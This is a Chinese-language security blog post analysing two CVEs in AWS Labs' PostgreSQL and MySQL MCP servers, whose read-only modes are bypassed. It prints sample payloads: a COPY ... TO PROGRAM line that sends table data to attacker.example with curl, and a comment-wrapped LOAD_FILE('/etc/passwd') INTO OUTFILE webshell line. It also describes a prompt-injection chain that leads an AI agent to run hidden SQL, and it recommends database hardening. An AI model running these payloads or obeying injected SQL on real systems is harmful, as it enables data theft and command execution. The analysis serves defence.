Announcement

👇Official Account👇

Welcome to join the group & private message

Article first/tail QR code

Skip to content

连官方出品的 MCP 服务器都栽在"只读模式"上。这不是代码质量问题,是模式设计问题——黑名单永远漏、正则永远绕

AWS 官方 MCP 服务器连爆两个 CVE:read-only 模式被 COPY TO PROGRAM 打穿

TL;DR

  • CVE-2026-87911awslabs postgres-mcp-server < 1.1.7,SQL 验证组件的只读强制存在 OS 命令注入(CWE-78),CVSS 3.1 9.6 Critical / CVSS 4.0 9.0。攻击者在 MCP 会话内容里塞入 COPY ... TO PROGRAM 语句,当已认证用户在默认只读模式下与服务器交互时,未认证攻击者即可在自托管 PostgreSQL 服务器主机上执行任意 OS 命令。由 Corsen 的 AI 漏洞发现工具(AI finder)挖出,AWS 安全公告 2026-104 修复于 1.1.7。
  • CVE-2026-85788awslabs mysql-mcp-server ≤ 1.0.21,"可变 SQL 检测器"(mutable SQL detector)使用不完整的黑名单(CWE-184),攻击者用正则引擎不当作空白的 SQL 内联注释绕过只读强制门,到达文件读写 SQL sink。CVSS 5.5,修复于 1.0.23(AWS 公告 2026-103)。
  • 两连击同一个教训:MCP 服务器的"只读"如果靠黑名单 + 正则实现,就不是只读。本文拆解利用链、失败根因和正确的防御架构。

一、背景:awslabs MCP 服务器家族

AWS Labs 在 github.com/awslabs/mcp 维护着一批官方 MCP 服务器(PostgreSQL、MySQL、DynamoDB、Aurora 等),是 PyPI 上下载量最大的 MCP 服务器家族之一。它们的典型部署形态:

text
┌──────────────┐     MCP (stdio/SSE)     ┌───────────────────────┐
│ AI 客户端     │ ◄──────────────────────► │ postgres-mcp-server   │
│ (Claude/等)  │    read-only 模式默认开启  │ (Python, PyPI 分发)    │
└──────────────┘                          └──────────┬────────────┘
                                                     │ psycopg
                                          ┌──────────▼────────────┐
                                          │ PostgreSQL 服务器       │
                                          │ (自托管 / RDS)          │
                                          └───────────────────────┘

"read-only 模式"是这个家族的核心卖点:DBA 可以放心把数据库交给 AI Agent,让 Agent 能查不能改。这个卖点的安全前提,就是 SQL 验证组件必须正确识别"什么是一条 mutating SQL"。两个 CVE 爆的都是这个前提。

二、CVE-2026-87911:COPY ... TO PROGRAM 命令注入

2.1 漏洞本质

PostgreSQL 提供了一个非常强大(也非常危险)的语法:

sql
COPY (SELECT * FROM users) TO PROGRAM 'curl http://attacker.example/exfil -d @-';

TO PROGRAM 会把 COPY 的输出直接通过管道交给操作系统 shell 执行。这条语句需要 pg_execute_server_program 角色(默认超级用户有),但在很多自托管部署里,MCP 服务器连接数据库用的账号权限不低。

awsLabs 的 postgres-mcp-server 在只读模式下会解析每条 SQL,检测其中是否包含 mutating 操作(INSERT/UPDATE/DELETE/DDL 等)。但它的检测没有把 COPY ... TO PROGRAM 归类为 mutating——毕竟语句长得像一条读数据的 COPY。

2.2 利用链

CVE 描述里有个关键细节:"by placing a crafted COPY ... TO PROGRAM statement into content that is processed when an authenticated user interacts with the MCP server"。拆开看:

text
┌─────────────┐  ① 恶意内容(文档/工单/网页/聊天记录)
│ 不可信内容源  │ ─────────────────────────────────┐
└─────────────┘                                   ▼
                                        ┌──────────────────┐
              ② 用户让 AI 分析该内容      │  AI 客户端会话     │
              ("帮我总结这个工单")       │  恶意 SQL 进入上下文 │
                                        └────────┬─────────┘
                                                 │ ③ AI 调用 MCP 工具
                                                 │    执行含 COPY 的 SQL
                                        ┌────────▼─────────┐
                                        │ postgres-mcp-server│
                                        │ 只读校验:放行 ✗    │
                                        └────────┬─────────┘
                                                 │ ④ 语句下发 PostgreSQL
                                        ┌────────▼─────────┐
                                        │ COPY ... TO PROGRAM│
                                        │ → shell 执行任意命令 │
                                        └──────────────────┘

四个要点:

  1. 攻击者无需 MCP 服务器凭证(CVSS 向量 PR:N)——恶意载荷藏在"内容"里,等已认证用户(或其 Agent)触发处理。
  2. 默认配置即可打——read-only 是默认模式,用户以为自己安全。
  3. S:C 范围变更——命令在 MCP 服务器所在的宿主机上执行(通过数据库服务器的 shell),影响从数据库会话逃逸到 OS 层。
  4. CVSS 双版本 9.6/9.0,AWS 直接标 Critical。

2.3 为什么防不住:黑名单的先天缺陷

修这个类漏洞的组织通常会写这样的检测:

python
MUTATING_KEYWORDS = ["INSERT", "UPDATE", "DELETE", "DROP", "ALTER",
                     "CREATE", "TRUNCATE", "GRANT", "VACUUM"]
def is_readonly(sql: str) -> bool:
    return not any(kw in sql.upper() for kw in MUTATING_KEYWORDS)

这段代码至少有四个洞,COPY TO PROGRAM 全部命中:

说明COPY TO PROGRAM 是否利用
关键词枚举不全COPYPROGRAM 不在 mutating 名单里
子字符串误判updated_at 字段名会被 UPDATE 命中——为了减少误报,名单越缩越小✅(倒逼名单不全)
词法理解缺失不解析语法树,无法知道 PROGRAM 后面跟的是命令
大小写/混淆注释、编码、Unicode 混淆可藏关键词

黑名单检测的核心矛盾:为了不误杀正常查询,名单必须"恰好够用";而攻击面只需要名单"少一个词"。 这是一场注定输的军备竞赛。

三、CVE-2026-85788:SQL 注释绕过只读门

mysql-mcp-server 的"mutable SQL detector"走了另一条路:不是枚举危险关键词,而是用正则检测语句是否"看起来像查询",只有纯 SELECT 才放行。听起来更白名单了,但它栽在了正则引擎与 SQL 语义的错位上:

  • 攻击载荷使用 SQL 内联注释/* *//*! ... */)包裹 mutating 语句;
  • 正则引擎的空白匹配(\s不把 SQL 注释当作空白,于是检测器认为语句"结构上不是 mutating"而放行;
  • MySQL 服务端执行时却会解析注释内容(尤其 /*! ... */ 是 MySQL 特有的"版本条件注释",内容会被真实执行)。
sql
-- 检测器视角:一条"奇怪但无害"的注释语句
/*! SELECT */ LOAD_FILE('/etc/passwd') INTO OUTFILE '/var/www/shell.php'

结果:file-read 和 file-write SQL sink 被触达(CVE 描述原文)。CVSS 5.5 看着不高,但注意 C:H(机密性高)——配合 LOAD_FILE/INTO OUTFILE,数据库服务器上的文件读取与写入就位,往 web 目录写个 shell 就是完整的 RCE 链。

修复于 1.0.23(AWS 公告 2026-103,GHSA-x25m-ph3m-3r9q)。

四、把镜头拉远:MCP 只读模式的连环塌方

这不是孤例。把 2026 下半年的 MCP 数据库类 CVE 排成时间线,模式惊人一致:

时间项目漏洞绕过手法
2026-06mysql-mcp-server(社区)CVE-2026-59971,CVSS 10.0SSE transport 无认证/无 Origin 校验,任意 SQL
2026-09 初Postgres MCP ProCVE-2026-85620,CVSS 9.2白名单只校验 FuncCall,漏 RangeFunction → pg_read_file()
2026-09-10awslabs postgres-mcp-serverCVE-2026-87911,CVSS 9.6COPY ... TO PROGRAM 不在 mutating 名单
2026-09-10awslabs mysql-mcp-serverCVE-2026-85788,CVSS 5.5SQL 内联注释骗过正则
2026-09-17Atlassian MCPCVE-2026-73498,CVSS 7.7工具参数未做路径校验

本站之前已拆过 Postgres MCP Pro(受限模式绕过)、Atlassian MCP(路径遍历)和无认证 SSE(Mobile MCP)。四个案例覆盖了四种绕过,但根因可以归并成一句话:

"只读"不是字符串处理问题,是执行权限问题。在应用层用文本匹配模拟数据库的权限模型,永远模拟不全。

五、正确的防御架构

5.1 应用层做不到的事

  • ❌ 用正则/关键词判断 SQL 是否 mutating——总有一种语法你没想到(注释、版本条件注释、CTE、函数调用、COPY、DO $$ 块、PREPARE……)。
  • ❌ 信任传输层隔离——SSE 模式下的 DNS rebinding、Origin 缺失是另一整类洞。
  • ❌ 让 Agent 决定"这条 SQL 安全吗"——LLM 本身就是不可信输入的处理者。

5.2 数据库层应该做的事

原则:把只读下沉到数据库自己的权限系统,MCP 服务器只做通道不做裁判。

PostgreSQL 侧:

sql
-- 1. 专用低权限角色
CREATE ROLE mcp_agent LOGIN PASSWORD '...';
GRANT CONNECT ON DATABASE app TO mcp_agent;
GRANT USAGE ON SCHEMA public TO mcp_agent;
GRANT SELECT ON ALL TABLES IN SCHEMA public TO mcp_agent;
ALTER DEFAULT PRIVILEGES IN SCHEMA public GRANT SELECT ON TABLES TO mcp_agent;

-- 2. 关键:收回程序执行权限(打掉 COPY TO PROGRAM 的牙齿)
REVOKE pg_execute_server_program FROM mcp_agent;
REVOKE pg_read_server_files FROM mcp_agent;
REVOKE pg_write_server_files FROM mcp_agent;

-- 3. 可选:行级安全兜底
ALTER TABLE orders ENABLE ROW LEVEL SECURITY;
CREATE POLICY mcp_read ON orders FOR SELECT TO mcp_agent USING (region = 'cn');

即使 MCP 服务器的校验被绕过,mcp_agent 角色也没有权限执行 COPY TO PROGRAM、写文件、改数据——漏洞从"Critical"降级成"配置错误但无实害"。

MySQL 侧:

sql
CREATE USER 'mcp_agent'@'%' IDENTIFIED BY '...';
GRANT SELECT ON app.* TO 'mcp_agent'@'%';
-- 不要给 FILE 权限(CVE-2026-59971 的 RCE 前提就是 FILE 权限)
SHOW GRANTS FOR 'mcp_agent'@'%';

5.3 MCP 服务器自身的加固清单

  1. 传输层:HTTP/SSE 部署必须配 Origin/Host 校验、CORS、认证中间件;0.0.0.0 绑定是红旗。stdio 模式只接受受控客户端。
  2. 补丁:postgres-mcp-server 升 ≥ 1.1.7,mysql-mcp-server 升 ≥ 1.0.23。PyPI 上还有大量旧版本在被拉取。
  3. 网络位置:MCP 服务器与数据库放同一个内网段,禁止直接暴露公网;出站流量默认拒绝。
  4. 审计:记录每条下发 SQL + 会话来源 + 触发用户,异常语句(含注释、含 COPY/PROGRAM/OUTFILE 词素)打告警。
  5. 供应链视角:MCP 服务器本身是 AI Agent 的执行边界——它被绕过等于 Agent 的手被借走。参考本站 MCP 供应链投毒案例的纵深防御思路。

六、写在最后:AI finder 挖出 AI 基础设施的洞

值得注意的细节:CVE-2026-87911 的发现者署名是 Corsen(AI finder)——用自动化 AI 漏洞挖掘工具找到了 AI 基础设施的漏洞。这与 9 月初 GPT-5.6 Sol 在 25 美元预算内挖出 WordPress 核心 RCE 链(wp2shell)的趋势互相印证:AI 挖洞的成本已经低到能常态化覆盖 MCP 生态这种新攻击面。你的 MCP 服务器今天没被扫到,只是因为扫描队列还没排到你。

参考资料

本站相关阅读

上次更新于: